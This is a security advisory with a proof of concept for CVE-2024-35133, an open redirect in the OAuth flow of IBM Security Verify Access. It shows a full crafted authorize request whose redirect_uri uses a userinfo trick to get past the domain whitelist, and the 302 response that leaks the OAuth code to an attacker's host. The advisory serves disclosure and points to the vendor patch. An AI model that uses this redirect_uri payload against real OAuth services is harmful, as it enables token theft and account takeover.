ozozuz/ibm-security-verify-oauth_token_steal-cve-2024-35133Security Bulletin for CVE-2024-35133 - With PoC
Revision: 1.0
Impact:
By persuading a victim to visit a specially crafted website, a remote attacker could exploit this vulnerability to spoof the URL displayed and redirect the user to a malicious website. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim.
Severity:
CVSS Score:
CVE-ID: CVE-2024-35133
Vendor: IBM
Affected Products:
Affected Versions: 10.0.0 - 10.0.8
IBM Security Verify Access is a complete authorization and network security policy management solution. It provides end-to-end protection of resources over geographically dispersed intranets and extranets.
Some key features include:
During a penetration test of the OAuth flow for a client, an Open Redirect vulnerability was discovered, allowing the leakage of the OAuth "code" variable.
By bypassing the parser's logic responsible for verifying the "redirect_uri" parameter during an OAuth flow (leveraging RFC 3986), the attacker could manipulate the domain whitelist filter in IBM Security Verify Access. This resulted in an open redirect to any arbitrary domain controlled by the attacker. The victim could be redirected to a malicious site while the domain appears trusted.
This could lead to the exposure of sensitive information like the OAuth "code" token or further attacks against the victim.
GET /oauth/oauth20/authorize?response_type=code&client_id=[REDACTED]&state=001710863806728MPUw0xFSj&REDACTED_uri=https://legitimate.domain:[email protected]/[REDACTED]/openid/REDACTED/[REDACTED]&scope=openid+ HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
HTTP/1.1 302 Found
content-language: en-US
date: Tue, 19 Mar 2024 16:04:35 GMT
location: https://legitimate.domain:[email protected]/[REDACTED]/openid/REDACTED/[REDACTED]?state=001710863806728MPUw0xFSj&code=7wkH581y0uyS0nm4ff65zCqHn0WC46w7v&iss=[REDACTED]
p3p: CP="NON CUR OTPi OUR NOR UNI"
x-frame-options: DENY
x-content-type-options: nosniff
cache-control: no-store
x-xss-protection: 1; mode=block
x-permitted-cross-domain-policies: none
cross-origin-resource-policy: same-site
content-security-policy: frame-ancestors 'none'
referrer-policy: no-referrer-when-downgrade
strict-transport-security: max-age=31536000; includeSubDomains
pragma: no-cache
Content-Length: 0.
Refer to IBM Security Bulletin 7166712 for patch, upgrade, or suggested workaround information.
See References for more details.
This vulnerability was discovered and reported by:
Copyright (c) 2024 Giulio Garzia "Ozozuz"
Permission is granted for electronic redistribution of this alert. It may not be edited without explicit written consent. For permission to reprint this alert in other media, contact the author.
Disclaimer: The information in this advisory is accurate at the time of publishing based on available data. No warranties are provided. Neither the author nor publisher accepts liability for direct, indirect, or consequential damage arising from use of this information.